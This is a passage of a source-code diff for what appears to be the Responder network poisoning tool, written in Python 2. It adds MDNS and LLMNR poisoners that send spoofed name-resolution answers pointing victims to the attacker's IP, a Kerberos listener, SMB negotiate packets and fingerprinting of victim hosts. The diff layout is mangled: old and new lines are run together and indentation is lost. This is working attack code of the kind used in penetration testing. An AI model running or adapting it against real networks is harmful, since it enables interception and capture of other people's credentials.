if Analyze(AnalyzeMode) == False and RespondToSpecificHost(RespondTo) == False:
if data[2:4] == "\x00\x00":
if Parse_IPV6_Addr(data):
Name = Parse_LLMNR_Name(data)
if RespondToSpecificName(RespondToName) and RespondToNameScope(RespondToName.upper(), Name.upper()):
buff = LLMNRAns(Tid=data[0:2],QuestionName=Name, AnswerName=Name)
buff.calculate()
Message = "LLMNR poisoned answer sent to this IP: %s. The requested name was : %s."%(self.client_address[0],Name)
for x in range(1):
soc.sendto(str(buff), self.client_address)
if PrintLLMNRNBTNS(Log2Filename,Message):
print Message
logger2.warning(Message)
if Is_Finger_On(Finger_On_Off):
try:
Finger = RunSmbFinger((self.client_address[0],445))
print '[+] OsVersion is:%s'%(Finger[0])
print '[+] ClientVersion is :%s'%(Finger[1])
logging.warning('[+] OsVersion is:%s'%(Finger[0]))
logging.warning('[+] ClientVersion is :%s'%(Finger[1]))
except Exception:
logging.warning('[+] Fingerprint failed for host: %s'%(self.client_address[0]))
pass
if RespondToSpecificName(RespondToName) == False:
buff = LLMNRAns(Tid=data[0:2],QuestionName=Name, AnswerName=Name)
buff.calculate()
Message = "LLMNR poisoned answer sent to this IP: %s. The requested name was : %s."%(self.client_address[0],Name)
for x in range(1):
soc.sendto(str(buff), self.client_address)
if PrintLLMNRNBTNS(Log2Filename,Message):
print Message
logger2.warning(Message)
if Is_Finger_On(Finger_On_Off):
try:
Finger = RunSmbFinger((self.client_address[0],445))
print '[+] OsVersion is:%s'%(Finger[0])
print '[+] ClientVersion is :%s'%(Finger[1])
logging.warning('[+] OsVersion is:%s'%(Finger[0]))
logging.warning('[+] ClientVersion is :%s'%(Finger[1]))
except Exception:
logging.warning('[+] Fingerprint failed for host: %s'%(self.client_address[0]))
pass
else:
pass
else:
pass pass
except: except:
raise raise
@@ -1080,8 +1419,7 @@ class DNSAns(Packet):
class DNS(BaseRequestHandler): class DNS(BaseRequestHandler):
def handle(self): def handle(self):
req, soc = self.request data, soc = self.request
data = req
if self.client_address[0] == "127.0.0.1": if self.client_address[0] == "127.0.0.1":
pass pass
elif ParseDNSType(data): elif ParseDNSType(data):
@@ -1108,6 +1446,82 @@ class DNSTCP(BaseRequestHandler):
except Exception: except Exception:
pass pass
##################################################################################
#MDNS Stuff
##################################################################################
class MDNSAns(Packet):
fields = OrderedDict([
("Tid", "\x00\x00"),
("Flags", "\x84\x00"),
("Question", "\x00\x00"),
("AnswerRRS", "\x00\x01"),
("AuthorityRRS", "\x00\x00"),
("AdditionalRRS", "\x00\x00"),
("AnswerName", ""),
("AnswerNameNull", "\x00"),
("Type", "\x00\x01"),
("Class", "\x00\x01"),
("TTL", "\x00\x00\x00\x78"),##Poison for 2mn.
("IPLen", "\x00\x04"),
("IP", "\x00\x00\x00\x00"),
])
def calculate(self):
self.fields["IP"] = inet_aton(OURIP)
self.fields["IPLen"] = struct.pack(">h",len(self.fields["IP"]))
def Parse_MDNS_Name(data):
data = data[12:]
NameLen = struct.unpack('>B',data[0])[0]
Name = data[1:1+NameLen]
NameLen_ = struct.unpack('>B',data[1+NameLen])[0]
Name_ = data[1+NameLen:1+NameLen+NameLen_+1]
return Name+'.'+Name_
def Poisoned_MDNS_Name(data):
data = data[12:]
Name = data[:len(data)-5]
return Name
class MDNS(BaseRequestHandler):
def handle(self):
MADDR = "224.0.0.251"
MPORT = 5353
data, soc = self.request
if self.client_address[0] == "127.0.0.1":
pass
try:
if Analyze(AnalyzeMode):
if Parse_IPV6_Addr(data):
print '[Analyze mode: MDNS] Host: %s is looking for : %s'%(self.client_address[0],Parse_MDNS_Name(data))
logging.warning('[Analyze mode: MDNS] Host: %s is looking for : %s'%(self.client_address[0],Parse_MDNS_Name(data)))
if RespondToSpecificHost(RespondTo):
if Analyze(AnalyzeMode) == False:
if RespondToIPScope(RespondTo, self.client_address[0]):
if Parse_IPV6_Addr(data):
print 'MDNS poisoned answer sent to this IP: %s. The requested name was : %s'%(self.client_address[0],Parse_MDNS_Name(data))
logging.warning('MDNS poisoned answer sent to this IP: %s. The requested name was : %s'%(self.client_address[0],Parse_MDNS_Name(data)))
Name = Poisoned_MDNS_Name(data)
MDns = MDNSAns(AnswerName = Name)
MDns.calculate()
soc.sendto(str(MDns),(MADDR,MPORT))
if Analyze(AnalyzeMode) == False and RespondToSpecificHost(RespondTo) == False:
if Parse_IPV6_Addr(data):
print 'MDNS poisoned answer sent to this IP: %s. The requested name was : %s'%(self.client_address[0],Parse_MDNS_Name(data))
logging.warning('MDNS poisoned answer sent to this IP: %s. The requested name was : %s'%(self.client_address[0],Parse_MDNS_Name(data)))
Name = Poisoned_MDNS_Name(data)
MDns = MDNSAns(AnswerName = Name)
MDns.calculate()
soc.sendto(str(MDns),(MADDR,MPORT))
else:
pass
except Exception:
raise
################################################################################## ##################################################################################
#HTTP Stuff #HTTP Stuff
################################################################################## ##################################################################################
@@ -1378,7 +1792,7 @@ def InjectData(data):
return Gzip return Gzip
else: else:
return data return data
if "Content-Type: text/html" in Headers: if "content-type: text/html" in Headers.lower():
Len = ''.join(re.findall('(?<=Content-Length: )[^\r\n]*', Headers)) Len = ''.join(re.findall('(?<=Content-Length: )[^\r\n]*', Headers))
HasHTML = re.findall('(?<=<html)[^<]*', Content) HasHTML = re.findall('(?<=<html)[^<]*', Content)
if HasHTML : if HasHTML :
@@ -1914,6 +2328,13 @@ def Is_SMB_On(SMB_On_Off):
if SMB_On_Off == "OFF": if SMB_On_Off == "OFF":
return False return False
#Function name self-explanatory
def Is_Kerberos_On(Krb_On_Off):
if Krb_On_Off == "ON":
return thread.start_new(serve_thread_udp,('', 88,KerbUDP)),thread.start_new(serve_thread_tcp,('', 88, KerbTCP))
if Krb_On_Off == "OFF":
return False
#Function name self-explanatory #Function name self-explanatory
def Is_SQL_On(SQL_On_Off): def Is_SQL_On(SQL_On_Off):
if SQL_On_Off == "ON": if SQL_On_Off == "ON":
@@ -1983,19 +2404,73 @@ class ThreadingTCPServer(ThreadingMixIn, TCPServer):
pass pass
TCPServer.server_bind(self) TCPServer.server_bind(self)
class ThreadingUDPMDNSServer(ThreadingMixIn, UDPServer):
def server_bind(self):
MADDR = "224.0.0.251"
self.socket.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
self.socket.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 255)
Join = self.socket.setsockopt(socket.IPPROTO_IP,socket.IP_ADD_MEMBERSHIP,inet_aton(MADDR)+inet_aton(OURIP))
if OsInterfaceIsSupported(INTERFACE):
try:
self.socket.setsockopt(socket.SOL_SOCKET, 25, BIND_TO_Interface+'\0')
except:
pass
UDPServer.server_bind(self)
class ThreadingUDPLLMNRServer(ThreadingMixIn, UDPServer):
def server_bind(self):
MADDR = "224.0.0.252"
self.socket.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
self.socket.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 255)
Join = self.socket.setsockopt(socket.IPPROTO_IP,socket.IP_ADD_MEMBERSHIP,inet_aton(MADDR)+inet_aton(OURIP))
if OsInterfaceIsSupported(INTERFACE):
try:
self.socket.setsockopt(socket.SOL_SOCKET, 25, BIND_TO_Interface+'\0')
except:
pass
UDPServer.server_bind(self)
ThreadingUDPServer.allow_reuse_address = 1 ThreadingUDPServer.allow_reuse_address = 1
ThreadingUDPMDNSServer.allow_reuse_address = 1
ThreadingUDPLLMNRServer.allow_reuse_address = 1
ThreadingTCPServer.allow_reuse_address = 1 ThreadingTCPServer.allow_reuse_address = 1
def serve_thread_udp(host, port, handler): def serve_thread_udp(host, port, handler):
try: try:
if OsInterfaceIsSupported(INTERFACE):
IP = FindLocalIP(BIND_TO_Interface)
server = ThreadingUDPServer((IP, port), handler)
server.serve_forever()
else:
server = ThreadingUDPServer((host, port), handler) server = ThreadingUDPServer((host, port), handler)
server.serve_forever() server.serve_forever()
except: except:
print "Error starting UDP server on port " + str(port) + ". Check that you have the necessary permissions (i.e. root), no other servers are running and the correct network interface is set in Responder.conf." print "Error starting UDP server on port " + str(port) + ". Check that you have the necessary permissions (i.e. root), no other servers are running and the correct network interface is set in Responder.conf."
def serve_thread_udp_MDNS(host, port, handler):
try:
server = ThreadingUDPMDNSServer((host, port), handler)
server.serve_forever()
except:
print "Error starting UDP server on port " + str(port) + ". Check that you have the necessary permissions (i.e. root), no other servers are running and the correct network interface is set in Responder.conf."
def serve_thread_udp_LLMNR(host, port, handler):
try:
server = ThreadingUDPLLMNRServer((host, port), handler)
server.serve_forever()
except:
print "Error starting UDP server on port " + str(port) + ". Check that you have the necessary permissions (i.e. root), no other servers are running and the correct network interface is set in Responder.conf."
def serve_thread_tcp(host, port, handler): def serve_thread_tcp(host, port, handler):
try: try:
if OsInterfaceIsSupported(INTERFACE):
IP = FindLocalIP(BIND_TO_Interface)
server = ThreadingTCPServer((IP, port), handler)
server.serve_forever()
else:
server = ThreadingTCPServer((host, port), handler) server = ThreadingTCPServer((host, port), handler)
server.serve_forever() server.serve_forever()
except: except:
@@ -2003,6 +2478,11 @@ def serve_thread_tcp(host, port, handler):
def serve_thread_SSL(host, port, handler): def serve_thread_SSL(host, port, handler):
try: try:
if OsInterfaceIsSupported(INTERFACE):
IP = FindLocalIP(BIND_TO_Interface)
server = SSlSock((IP, port), handler)
server.serve_forever()
else:
server = SSlSock((host, port), handler) server = SSlSock((host, port), handler)
server.serve_forever() server.serve_forever()
except: except:
@@ -2010,10 +2490,12 @@ def serve_thread_SSL(host, port, handler):
def main(): def main():
try: try:
num_thrd = 1
Is_FTP_On(FTP_On_Off) Is_FTP_On(FTP_On_Off)
Is_HTTP_On(On_Off) Is_HTTP_On(On_Off)
Is_HTTPS_On(SSL_On_Off) Is_HTTPS_On(SSL_On_Off)
Is_WPAD_On(WPAD_On_Off) Is_WPAD_On(WPAD_On_Off)
Is_Kerberos_On(Krb_On_Off)
Is_SMB_On(SMB_On_Off) Is_SMB_On(SMB_On_Off)
Is_SQL_On(SQL_On_Off) Is_SQL_On(SQL_On_Off)
Is_LDAP_On(LDAP_On_Off) Is_LDAP_On(LDAP_On_Off)
@@ -2024,8 +2506,12 @@ def main():
#Browser listener loaded by default #Browser listener loaded by default
thread.start_new(serve_thread_udp,('', 138,Browser)) thread.start_new(serve_thread_udp,('', 138,Browser))
## Poisoner loaded by default, it's the purpose of this tool... ## Poisoner loaded by default, it's the purpose of this tool...
thread.start_new(serve_thread_udp,('', 137,NB)) thread.start_new(serve_thread_udp_MDNS,('', 5353,MDNS)) #MDNS
thread.start_new(RunLLMNR()) thread.start_new(serve_thread_udp,('', 88, KerbUDP))
thread.start_new(serve_thread_udp,('', 137,NB)) #NBNS
thread.start_new(serve_thread_udp_LLMNR,('', 5355, LLMNR)) #LLMNR
while num_thrd > 0:
pass
except KeyboardInterrupt: except KeyboardInterrupt:
exit() exit()
@@ -2034,8 +2520,3 @@ if __name__ == '__main__':
main() main()
except: except:
raise raise
raw_input()

View File

@@ -107,7 +107,7 @@ class SMBNegoAnsLM(Packet):
self.fields["Bcc"] = struct.pack("<h",len(CompleteBCCLen)) self.fields["Bcc"] = struct.pack("<h",len(CompleteBCCLen))
self.fields["Keylength"] = struct.pack("<h",len(self.fields["Key"]))[0] self.fields["Keylength"] = struct.pack("<h",len(self.fields["Key"]))[0]
################################################################################## ##################################################################################
#SMB Negotiate Answer LM packet. #SMB Negotiate Answer ESS NTLM only packet.
class SMBNegoAns(Packet): class SMBNegoAns(Packet):
fields = OrderedDict([ fields = OrderedDict([
("Wordcount", "\x11"), ("Wordcount", "\x11"),
@@ -149,8 +149,6 @@ class SMBNegoAns(Packet):
("NegHintFinalASNId", "\x1b"), ("NegHintFinalASNId", "\x1b"),
("NegHintFinalASNLen", "\x15"), ("NegHintFinalASNLen", "\x15"),
("NegHintFinalASNStr", "server2008$@SMB.LOCAL"), ("NegHintFinalASNStr", "server2008$@SMB.LOCAL"),
## END
]) ])
def calculate(self): def calculate(self):
@@ -179,7 +177,86 @@ class SMBNegoAns(Packet):
self.fields["NegHintFinalASNLen"] = struct.pack("<B", len(str(self.fields["NegHintFinalASNStr"]))) self.fields["NegHintFinalASNLen"] = struct.pack("<B", len(str(self.fields["NegHintFinalASNStr"])))
################################################################################ ################################################################################
#SMB Negotiate Answer ESS NTLM and Kerberos packet.
class SMBNegoKerbAns(Packet):
fields = OrderedDict([
("Wordcount", "\x11"),
("Dialect", ""),
("Securitymode", "\x03"),
("MaxMpx", "\x32\x00"),
("MaxVc", "\x01\x00"),
("MaxBuffSize", "\x04\x41\x00\x00"),
("MaxRawBuff", "\x00\x00\x01\x00"),
("SessionKey", "\x00\x00\x00\x00"),
("Capabilities", "\xfd\xf3\x01\x80"),
("SystemTime", "\x84\xd6\xfb\xa3\x01\x35\xcd\x01"),
("SrvTimeZone", "\xf0\x00"),
("KeyLen", "\x00"),
("Bcc", "\x57\x00"),
("Guid", "\xc8\x27\x3d\xfb\xd4\x18\x55\x4f\xb2\x40\xaf\xd7\x61\x73\x75\x3b"),
("InitContextTokenASNId", "\x60"),
("InitContextTokenASNLen", "\x5b"),
("ThisMechASNId", "\x06"),
("ThisMechASNLen", "\x06"),
("ThisMechASNStr", "\x2b\x06\x01\x05\x05\x02"),
("SpNegoTokenASNId", "\xA0"),
("SpNegoTokenASNLen", "\x51"),
("NegTokenASNId", "\x30"),
("NegTokenASNLen", "\x4f"),
("NegTokenTag0ASNId", "\xA0"),
("NegTokenTag0ASNLen", "\x30"),
("NegThisMechASNId", "\x30"),
("NegThisMechASNLen", "\x2e"),
("NegThisMech1ASNId", "\x06"),
("NegThisMech1ASNLen", "\x09"),
("NegThisMech1ASNStr", "\x2a\x86\x48\x82\xf7\x12\x01\x02\x02"),
("NegThisMech2ASNId", "\x06"),
("NegThisMech2ASNLen", "\x09"),
("NegThisMech2ASNStr", "\x2a\x86\x48\x86\xf7\x12\x01\x02\x02"),
("NegThisMech3ASNId", "\x06"),
("NegThisMech3ASNLen", "\x0a"),
("NegThisMech3ASNStr", "\x2a\x86\x48\x86\xf7\x12\x01\x02\x02\x03"),
("NegThisMech4ASNId", "\x06"),
("NegThisMech4ASNLen", "\x09"),
("NegThisMech4ASNStr", "\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a"),
("NegTokenTag3ASNId", "\xA3"),
("NegTokenTag3ASNLen", "\x1b"),
("NegHintASNId", "\x30"),
("NegHintASNLen", "\x19"),
("NegHintTag0ASNId", "\xa0"),
("NegHintTag0ASNLen", "\x17"),
("NegHintFinalASNId", "\x1b"),
("NegHintFinalASNLen", "\x15"),
("NegHintFinalASNStr", "server2008$@SMB.LOCAL"),
])
def calculate(self):
CompleteBCCLen1 = str(self.fields["Guid"])+str(self.fields["InitContextTokenASNId"])+str(self.fields["InitContextTokenASNLen"])+str(self.fields["ThisMechASNId"])+str(self.fields["ThisMechASNLen"])+str(self.fields["ThisMechASNStr"])+str(self.fields["SpNegoTokenASNId"])+str(self.fields["SpNegoTokenASNLen"])+str(self.fields["NegTokenASNId"])+str(self.fields["NegTokenASNLen"])+str(self.fields["NegTokenTag0ASNId"])+str(self.fields["NegTokenTag0ASNLen"])+str(self.fields["NegThisMechASNId"])+str(self.fields["NegThisMechASNLen"])+str(self.fields["NegThisMech1ASNId"])+str(self.fields["NegThisMech1ASNLen"])+str(self.fields["NegThisMech1ASNStr"])+str(self.fields["NegThisMech2ASNId"])+str(self.fields["NegThisMech2ASNLen"])+str(self.fields["NegThisMech2ASNStr"])+str(self.fields["NegThisMech3ASNId"])+str(self.fields["NegThisMech3ASNLen"])+str(self.fields["NegThisMech3ASNStr"])+str(self.fields["NegThisMech4ASNId"])+str(self.fields["NegThisMech4ASNLen"])+str(self.fields["NegThisMech4ASNStr"])+str(self.fields["NegTokenTag3ASNId"])+str(self.fields["NegTokenTag3ASNLen"])+str(self.fields["NegHintASNId"])+str(self.fields["NegHintASNLen"])+str(self.fields["NegHintTag0ASNId"])+str(self.fields["NegHintTag0ASNLen"])+str(self.fields["NegHintFinalASNId"])+str(self.fields["NegHintFinalASNLen"])+str(self.fields["NegHintFinalASNStr"])
AsnLenStart = str(self.fields["ThisMechASNId"])+str(self.fields["ThisMechASNLen"])+str(self.fields["ThisMechASNStr"])+str(self.fields["SpNegoTokenASNId"])+str(self.fields["SpNegoTokenASNLen"])+str(self.fields["NegTokenASNId"])+str(self.fields["NegTokenASNLen"])+str(self.fields["NegTokenTag0ASNId"])+str(self.fields["NegTokenTag0ASNLen"])+str(self.fields["NegThisMechASNId"])+str(self.fields["NegThisMechASNLen"])+str(self.fields["NegThisMech1ASNId"])+str(self.fields["NegThisMech1ASNLen"])+str(self.fields["NegThisMech1ASNStr"])+str(self.fields["NegThisMech2ASNId"])+str(self.fields["NegThisMech2ASNLen"])+str(self.fields["NegThisMech2ASNStr"])+str(self.fields["NegThisMech3ASNId"])+str(self.fields["NegThisMech3ASNLen"])+str(self.fields["NegThisMech3ASNStr"])+str(self.fields["NegThisMech4ASNId"])+str(self.fields["NegThisMech4ASNLen"])+str(self.fields["NegThisMech4ASNStr"])+str(self.fields["NegTokenTag3ASNId"])+str(self.fields["NegTokenTag3ASNLen"])+str(self.fields["NegHintASNId"])+str(self.fields["NegHintASNLen"])+str(self.fields["NegHintTag0ASNId"])+str(self.fields["NegHintTag0ASNLen"])+str(self.fields["NegHintFinalASNId"])+str(self.fields["NegHintFinalASNLen"])+str(self.fields["NegHintFinalASNStr"])
AsnLen2 = str(self.fields["NegTokenASNId"])+str(self.fields["NegTokenASNLen"])+str(self.fields["NegTokenTag0ASNId"])+str(self.fields["NegTokenTag0ASNLen"])+str(self.fields["NegThisMechASNId"])+str(self.fields["NegThisMechASNLen"])+str(self.fields["NegThisMech1ASNId"])+str(self.fields["NegThisMech1ASNLen"])+str(self.fields["NegThisMech1ASNStr"])+str(self.fields["NegThisMech2ASNId"])+str(self.fields["NegThisMech2ASNLen"])+str(self.fields["NegThisMech2ASNStr"])+str(self.fields["NegThisMech3ASNId"])+str(self.fields["NegThisMech3ASNLen"])+str(self.fields["NegThisMech3ASNStr"])+str(self.fields["NegThisMech4ASNId"])+str(self.fields["NegThisMech4ASNLen"])+str(self.fields["NegThisMech4ASNStr"])+str(self.fields["NegTokenTag3ASNId"])+str(self.fields["NegTokenTag3ASNLen"])+str(self.fields["NegHintASNId"])+str(self.fields["NegHintASNLen"])+str(self.fields["NegHintTag0ASNId"])+str(self.fields["NegHintTag0ASNLen"])+str(self.fields["NegHintFinalASNId"])+str(self.fields["NegHintFinalASNLen"])+str(self.fields["NegHintFinalASNStr"])
MechTypeLen = str(self.fields["NegThisMechASNId"])+str(self.fields["NegThisMechASNLen"])+str(self.fields["NegThisMech1ASNId"])+str(self.fields["NegThisMech1ASNLen"])+str(self.fields["NegThisMech1ASNStr"])+str(self.fields["NegThisMech2ASNId"])+str(self.fields["NegThisMech2ASNLen"])+str(self.fields["NegThisMech2ASNStr"])+str(self.fields["NegThisMech3ASNId"])+str(self.fields["NegThisMech3ASNLen"])+str(self.fields["NegThisMech3ASNStr"])+str(self.fields["NegThisMech4ASNId"])+str(self.fields["NegThisMech4ASNLen"])+str(self.fields["NegThisMech4ASNStr"])
Tag3Len = str(self.fields["NegHintASNId"])+str(self.fields["NegHintASNLen"])+str(self.fields["NegHintTag0ASNId"])+str(self.fields["NegHintTag0ASNLen"])+str(self.fields["NegHintFinalASNId"])+str(self.fields["NegHintFinalASNLen"])+str(self.fields["NegHintFinalASNStr"])
self.fields["Bcc"] = struct.pack("<h",len(CompleteBCCLen1))
self.fields["InitContextTokenASNLen"] = struct.pack("<B", len(AsnLenStart))
self.fields["ThisMechASNLen"] = struct.pack("<B", len(str(self.fields["ThisMechASNStr"])))
self.fields["SpNegoTokenASNLen"] = struct.pack("<B", len(AsnLen2))
self.fields["NegTokenASNLen"] = struct.pack("<B", len(AsnLen2)-2)
self.fields["NegTokenTag0ASNLen"] = struct.pack("<B", len(MechTypeLen))
self.fields["NegThisMechASNLen"] = struct.pack("<B", len(MechTypeLen)-2)
self.fields["NegThisMech1ASNLen"] = struct.pack("<B", len(str(self.fields["NegThisMech1ASNStr"])))
self.fields["NegThisMech2ASNLen"] = struct.pack("<B", len(str(self.fields["NegThisMech2ASNStr"])))
self.fields["NegThisMech3ASNLen"] = struct.pack("<B", len(str(self.fields["NegThisMech3ASNStr"])))
self.fields["NegThisMech4ASNLen"] = struct.pack("<B", len(str(self.fields["NegThisMech4ASNStr"])))
self.fields["NegTokenTag3ASNLen"] = struct.pack("<B", len(Tag3Len))
self.fields["NegHintASNLen"] = struct.pack("<B", len(Tag3Len)-2)
self.fields["NegHintFinalASNLen"] = struct.pack("<B", len(str(self.fields["NegHintFinalASNStr"])))
################################################################################
class SMBSession1Data(Packet): class SMBSession1Data(Packet):
fields = OrderedDict([ fields = OrderedDict([
("Wordcount", "\x04"), ("Wordcount", "\x04"),